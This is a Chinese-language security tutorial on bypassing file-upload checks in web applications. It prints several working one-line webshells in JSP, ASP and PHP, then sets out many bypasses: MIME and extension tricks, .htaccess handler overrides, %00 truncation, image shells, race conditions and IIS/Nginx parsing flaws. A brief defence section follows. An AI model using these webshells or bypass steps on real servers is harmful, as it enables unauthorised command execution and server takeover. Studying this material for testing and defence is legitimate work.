论文件上传绕过的各种姿势
字数 2238 2025-08-25 22:58:35
文件上传漏洞绕过技术全面指南
一、文件上传漏洞概述
1.1 基本概念
文件上传漏洞是指Web应用程序在允许用户上传文件时,未对上传文件的格式进行严格过滤,导致攻击者可以上传恶意文件(如webshell)到服务器上的安全漏洞。
1.2 危害等级
- 高风险漏洞,危害大于SQL注入和XSS
- 攻击者可上传webshell直接控制服务器
- 可能导致服务器完全沦陷
1.3 常见存在场景
- BBS图片上传功能
- 个人网站文件分享
- 办公平台文档上传
- 任何允许用户上传文件的Web应用
二、Webshell基础知识
2.1 Webshell定义
以asp、php、jsp等网页文件形式存在的一种命令执行环境,也称网页后门。
2.2 常见分类
-
按大小:
- 大马:功能完整的后门
- 小马:一句话木马(如中国菜刀使用的)
-
按脚本类型:
- JSP、ASP、ASPX、PHP
2.3 经典Webshell示例
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
success!!!!<%eval request("cmd")%>
<?php echo shell_exec($_GET['cmd']);?>
<?php @eval($_POST['password']);?> // 中国菜刀连接用
三、文件上传绕过技术详解
3.1 前端JS验证绕过
漏洞特征:仅在前端使用JavaScript验证文件类型
绕过方法:
-
浏览器插件法:
- 使用开发者工具删除检测文件后缀的JS代码
- 直接上传恶意文件
-
后缀名欺骗法:
- 将webshell后缀改为允许的格式(如.jpg)
- 上传时抓包修改后缀为.php
-
JS函数修改法:
- 在前端JS判断函数中添加允许上传php文件
- 或直接删除验证函数
3.2 MIME类型验证绕过
漏洞特征:服务器通过Content-Type判断文件类型
绕过方法:
- 上传php文件时抓包
- 将Content-Type修改为允许的类型(如image/jpeg)
- 放行数据包
3.3 黑名单绕过技术
3.3.1 非常规后缀名绕过
- 原理:利用Apache解析顺序特性(从右到左解析)
- 方法:
- 配置Apache的httpd.conf:
AddType application/x-httpd-php .php .php3 .phtml - 上传.phtml或.php3后缀的webshell
- 配置Apache的httpd.conf:
3.3.2 .htaccess文件利用
- 前提:Apache服务器,AllowOverride配置为All
- 步骤:
- 上传.htaccess文件内容:
SetHandler application/x-httpd-php - 上传任意文件都会被解析为PHP
- 上传.htaccess文件内容:
3.3.3 大小写绕过
- 适用场景:未统一大小写处理
- 方法:使用.Php、.pHp等混合大小写后缀
3.3.4 空格绕过
- 适用场景:未对后缀名去空格处理
- 方法:在后缀名中加空格(如".php ")
3.3.5 点号绕过
- 适用场景:未对后缀名去点处理
- 方法:在后缀名末尾加点(如".php.")
- Windows特性:会自动去掉最后的点
3.3.6 ::$DATA绕过
- 适用场景:PHP+Windows环境
- 方法:在文件名后加"::$DATA"
- 原理:Windows会将"::$DATA"之后的数据当成文件流处理
3.3.7 双写绕过
- 适用场景:使用str_ireplace等函数替换黑名单后缀
- 方法:使用pphphp(替换掉php后剩下php)
3.4 白名单绕过技术
3.4.1 截断上传
- %00截断:
- 条件:PHP版本<5.3.4,magic_quotes_gpc=off
- 方法:filename="webshell.php%00.jpg"
3.4.2 图片马结合解析漏洞
- 制作图片马:
- 在图片末尾添加PHP代码
- 结合服务器解析漏洞上传
3.5 竞争条件攻击
- 原理:利用文件上传与安全检查的时间差
- 方法:
- 上传.php文件
- 在删除前快速访问执行
四、防御措施
4.1 安全验证策略
-
文件内容检测:
- 检查文件头/魔数
- 重写文件内容
-
多维度验证:
- 后缀名白名单
- MIME类型验证
- 文件内容检测
-
存储安全:
- 上传目录禁止执行脚本
- 随机化文件名
- 隐藏存储路径
4.2 服务器配置
-
Web服务器:
- 关闭不必要的HTTP方法(如PUT)
- 及时修复解析漏洞
-
PHP配置:
- 开启magic_quotes_gpc
- 设置open_basedir限制
五、实战案例解析
案例1:前端JS验证绕过
- 将webshell.php改名为webshell.jpg
- 使用Burp Suite拦截上传请求
- 修改filename为webshell.php
- 放行数据包
案例2:.htaccess文件攻击
- 上传.htaccess文件内容:
SetHandler application/x-httpd-php - 上传包含PHP代码的图片文件
- 访问图片URL执行代码
案例3:双写绕过
- 上传文件名为webshell.pphphp
- 服务器替换掉php后剩下webshell.php
- 成功上传PHP文件
六、高级技巧
6.1 结合解析漏洞
- IIS 6.0目录解析:/xx.asp/xx.jpg
- IIS 6.0分号解析:xx.asp;.jpg
- Nginx文件名逻辑漏洞:xx.jpg%00.php
6.2 特殊字符利用
- 换行符绕过:filename="webshell.php\x0A.jpg"
- 不可见字符:使用十六进制编码
6.3 条件竞争利用
- 编写脚本快速上传.php文件
- 同时运行脚本快速访问上传文件
- 在文件被删除前执行恶意代码
七、工具推荐
- 中国菜刀:经典webshell管理工具
- Burp Suite:拦截修改上传请求
- Webshell样本:
- PHP小马
- JSP大马
- 图片马生成器
八、总结
文件上传漏洞的绕过技术多种多样,防御需要采取多层次的安全措施。安全人员应充分了解各种绕过技术,才能设计出有效的防御方案。同时,保持系统更新、及时修复已知漏洞也是防御的关键。